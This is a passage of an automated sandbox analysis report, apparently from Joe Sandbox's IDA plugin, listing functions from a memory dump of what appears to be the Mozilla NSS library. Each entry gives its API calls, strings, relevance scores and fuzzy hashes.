Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 39e72693990f349c55b9ed0f8901d9a92b265a8e52d4bb9a9001491339f62f1d
Instruction ID: dae7a8e9a789012a97be37e08eaa143f4a67a9a856552793db4bd117d69a84e2
Opcode Fuzzy Hash: 39e72693990f349c55b9ed0f8901d9a92b265a8e52d4bb9a9001491339f62f1d
Instruction Fuzzy Hash: 2521E030A04705DBCB10CF2AC841B9BB7E6AF84318F648539D84A9BF51F771F9498B92

Uniqueness

Uniqueness Score: -1.00%

Function 6C17CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C17CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C17CC7B), ref: 6C17CD7A
Part of subcall function 6C17CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C17CD8E
Part of subcall function 6C17CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C17CDA5
Part of subcall function 6C17CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C17CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C17CCB5
memcpy.VCRUNTIME140(6C2114F4,6C2102AC,00000090), ref: 6C17CCD3
memcpy.VCRUNTIME140(6C211588,6C2102AC,00000090), ref: 6C17CD2B

Part of subcall function 6C099AC0: socket.WSOCK32(?,00000017,6C0999BE), ref: 6C099AE6
Part of subcall function 6C099AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C0999BE), ref: 6C099AFC

Part of subcall function 6C0A0590: closesocket.WSOCK32(6C099A8F,?,?,6C099A8F,00000000), ref: 6C0A0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C17CCB0

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a69aff4d987bfe12c04ea291902d61ae49f6dd8e4fcb4767c26831285cbca419
Instruction ID: 3b68dbd9f916880f9617a046ebb40eb6080e7fed546d9d982b5bc3f24767660a
Opcode Fuzzy Hash: a69aff4d987bfe12c04ea291902d61ae49f6dd8e4fcb4767c26831285cbca419
Instruction Fuzzy Hash: 721163B1B04244AFDB109F5A984B7867AE89376618F101029FA069BF81EE75D484C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 6C03A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C16A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C18C3A2,?,?,00000000,00000000), ref: 6C16A528
Part of subcall function 6C16A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C16A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C03A94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C03A939
%s at line %d of [%.10s], xrefs: 6C03A948
database corruption, xrefs: 6C03A943

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: c54b16f0fd923fc1298b10a74839ee1378b2dfd97818fce73a1dafe70fdc7abe
Instruction ID: 789c5dda1a7d12acb6a4cdf4dc9018e41062935432ced396356db87a2e914d87
Opcode Fuzzy Hash: c54b16f0fd923fc1298b10a74839ee1378b2dfd97818fce73a1dafe70fdc7abe
Instruction Fuzzy Hash: AA012B31A002196BCB108AB6DC15B5BB3F5AB48308F55442AD95DABA80D731E808C791

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C0D0715), ref: 6C0C8859
PR_NewLock.NSS3 ref: 6C0C8874

Part of subcall function 6C1798D0: calloc.MOZGLUE(00000001,00000084,6C0A0936,00000001,?,6C0A102C), ref: 6C1798E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C0C888D

Strings

NSS, xrefs: 6C0C8887

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: d6c0b84a7ab6081277849f1ed80dbc1771527936679a0b434b5d7c9c07e37d65
Instruction ID: 50c3947af8afdd8e37e1dce9cc4e4d966aad47e1b73201d9f3d9f80d7f53f5a7
Opcode Fuzzy Hash: d6c0b84a7ab6081277849f1ed80dbc1771527936679a0b434b5d7c9c07e37d65
Instruction Fuzzy Hash: 2DF0F662F4122027F21012686C06B8E74D89F5175EF140132E90CA3F82EB62A51CC2F7

Uniqueness

Uniqueness Score: -1.00%

Function 6C1CA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C1CA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C1CA662), ref: 6C1CA69E
Part of subcall function 6C1CA690: PR_NewCondVar.NSS3(?), ref: 6C1CA6B4

PR_IntervalNow.NSS3 ref: 6C1CA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C1CA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C1CA944
PR_SetPollableEvent.NSS3(?), ref: 6C1CA94F

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: ff9b8fd00db54b959841612215b9127e12a56a7d9f577f253b0acb16ba216a2a
Instruction ID: f3524da3fbdafe38f20f0eb0cd3f4fbf81c10b93d6eeb1c6b01c13afaf28f08c
Opcode Fuzzy Hash: ff9b8fd00db54b959841612215b9127e12a56a7d9f577f253b0acb16ba216a2a
Instruction Fuzzy Hash: FB4168B4A01A02CFC715CF29C581956FBF1FF68318B25852AE95ACBB11E731E850CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C0B6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C0B6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C0B6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C1D8FE0), ref: 6C0B6CFE

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5087b34ae863ae4f18e58abe79658473c17709cb98b0c9cc88ab8a3676904b76
Instruction ID: 1f6e68b25ec889d57ed7e588aa8e7bac05f8f9a3995c1abdf7471aa50ab5238e
Opcode Fuzzy Hash: 5087b34ae863ae4f18e58abe79658473c17709cb98b0c9cc88ab8a3676904b76
Instruction Fuzzy Hash: 1F317CB5A002169FEB08CF65C891BBFBBF5EF45248F14452DD905E7740EB32A905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C126DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C126E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C126E57

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C126E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C126EAA

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: b221555003572d309600a6f7faa0930e256d19ec14813d7a00530425ef9ada81
Instruction ID: 02afe798c1d270e1da75e0fd35cbf07aab601cb70db5cffb5ed76f994087f62f
Opcode Fuzzy Hash: b221555003572d309600a6f7faa0930e256d19ec14813d7a00530425ef9ada81
Instruction Fuzzy Hash: 9031047961055AEFDB149F34DC15396B7A4AB1131AF20063CD89AD2BC1EB3878D8CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6C122880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C122896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C122932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C12294C
free.MOZGLUE(?), ref: 6C122955

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: cd36dd24853adb7e533a2a08ab03d5ed19fda4ab275721cb631ea9a9d25a81f6
Instruction ID: 0f2f45b144e709bfd97c28a052d581a6677b8ea79e8b27cffaa0215e7aead8bb
Opcode Fuzzy Hash: cd36dd24853adb7e533a2a08ab03d5ed19fda4ab275721cb631ea9a9d25a81f6
Instruction Fuzzy Hash: FF21B6BA6106009BEB108B26EC09F4B77E5EF94368F150538E489C7B61FB79E498C751

Uniqueness

Uniqueness Score: -1.00%

Function 6C15A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C142AE9,00000000,0000065C), ref: 6C15A91D

Part of subcall function 6C0FADC0: TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE10
Part of subcall function 6C0FADC0: EnterCriticalSection.KERNEL32(?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE24
Part of subcall function 6C0FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C0DD079,00000000,00000001), ref: 6C0FAE5A
Part of subcall function 6C0FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE6F
Part of subcall function 6C0FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE7F
Part of subcall function 6C0FADC0: TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEB1
Part of subcall function 6C0FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C142AE9,00000000,0000065C), ref: 6C15A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6C142AE9,00000000,0000065C), ref: 6C15A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6C15A952

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: f7c8d343cd08638c62afec413c4b0dc0292c857ea573da5ee1da64ba41944586
Instruction ID: d8e36c9183828c303c7750fa98a7eb4059cb8ad5da97fe58e5f68e9ed9ada24b
Opcode Fuzzy Hash: f7c8d343cd08638c62afec413c4b0dc0292c857ea573da5ee1da64ba41944586
Instruction Fuzzy Hash: 3A3137F56012119FDB04CF28D990E62BBE8FF58318B5581A9EC298B756E730E811CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6C122DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C122E08

Part of subcall function 6C1114C0: TlsGetValue.KERNEL32 ref: 6C1114E0
Part of subcall function 6C1114C0: EnterCriticalSection.KERNEL32 ref: 6C1114F5
Part of subcall function 6C1114C0: PR_Unlock.NSS3 ref: 6C11150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C122E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C122E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C122E95

Part of subcall function 6C111200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C0B88A4,00000000,00000000), ref: 6C111228
Part of subcall function 6C111200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C111238
Part of subcall function 6C111200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C0B88A4,00000000,00000000), ref: 6C11124B
Part of subcall function 6C111200: PR_CallOnce.NSS3(6C212AA4,6C1112D0,00000000,00000000,00000000,?,6C0B88A4,00000000,00000000), ref: 6C11125D
Part of subcall function 6C111200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C11126F
Part of subcall function 6C111200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C111280
Part of subcall function 6C111200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C11128E
Part of subcall function 6C111200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C11129A
Part of subcall function 6C111200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C1112A1

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: fa6b921afc469d033b23a2006e1e20fd71f4db73e4584ed097c399008b272d20
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 812104B5E243414BE700CF149D44BAE3764AFA131CF210279ED085BB52F7B9E6D882A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C0DACC2

Part of subcall function 6C0B2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C0B2F0A
Part of subcall function 6C0B2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C0B2F1D

Part of subcall function 6C0B2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C0B0A1B,00000000), ref: 6C0B2AF0
Part of subcall function 6C0B2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0B2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C0DAD5E

Part of subcall function 6C0F57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C0BB41E,00000000,00000000,?,00000000,?,6C0BB41E,00000000,00000000,00000001,?), ref: 6C0F57E0
Part of subcall function 6C0F57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C0F5843

CERT_DestroyCertList.NSS3(?), ref: 6C0DAD36

Part of subcall function 6C0B2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C0B2F65
Part of subcall function 6C0B2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C0B2F83

free.MOZGLUE(?), ref: 6C0DAD4F

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: b58852c813def570b6a9dc5616b4ed58fee9f7164256bfa6364849a05ca43060
Instruction ID: c9c38e15ca573dd376d3fbee2102bd4aef78f56bb1c1ac6875c1902c0164176c
Opcode Fuzzy Hash: b58852c813def570b6a9dc5616b4ed58fee9f7164256bfa6364849a05ca43060
Instruction Fuzzy Hash: 4821A1B1D002188BEF10DF64D8056EEB7F4EF05218F264068DC157B601EB31BA49CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DC860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C0DC890

Part of subcall function 6C0D8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C0D8FAF
Part of subcall function 6C0D8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C0D8FD1
Part of subcall function 6C0D8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C0D8FFA
Part of subcall function 6C0D8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C0D9013
Part of subcall function 6C0D8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C0D9042
Part of subcall function 6C0D8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C0D905A
Part of subcall function 6C0D8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C0D9073
Part of subcall function 6C0D8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C0CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C0D9111

PR_GetCurrentThread.NSS3 ref: 6C0DC8B2

Part of subcall function 6C179BF0: TlsGetValue.KERNEL32(?,?,?,6C1C0A75), ref: 6C179C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C0DC8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C0DC8EB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 0614315c9454081d310dcf96f13557f1c78d5f1c76debe01eba58750d9bdaadb
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 6E018666A013116BD60025B55C81FAF36E99F4515CF160235F914A7B01E752B89892F2

Uniqueness

Uniqueness Score: -1.00%

Function 6C10ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C10F0AD,6C10F150,?,6C10F150,?,?,?), ref: 6C10ECBA

Part of subcall function 6C110FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C0B87ED,00000800,6C0AEF74,00000000), ref: 6C111000
Part of subcall function 6C110FF0: PR_NewLock.NSS3(?,00000800,6C0AEF74,00000000), ref: 6C111016
Part of subcall function 6C110FF0: PL_InitArenaPool.NSS3(00000000,security,6C0B87ED,00000008,?,00000800,6C0AEF74,00000000), ref: 6C11102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C10ECD1

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
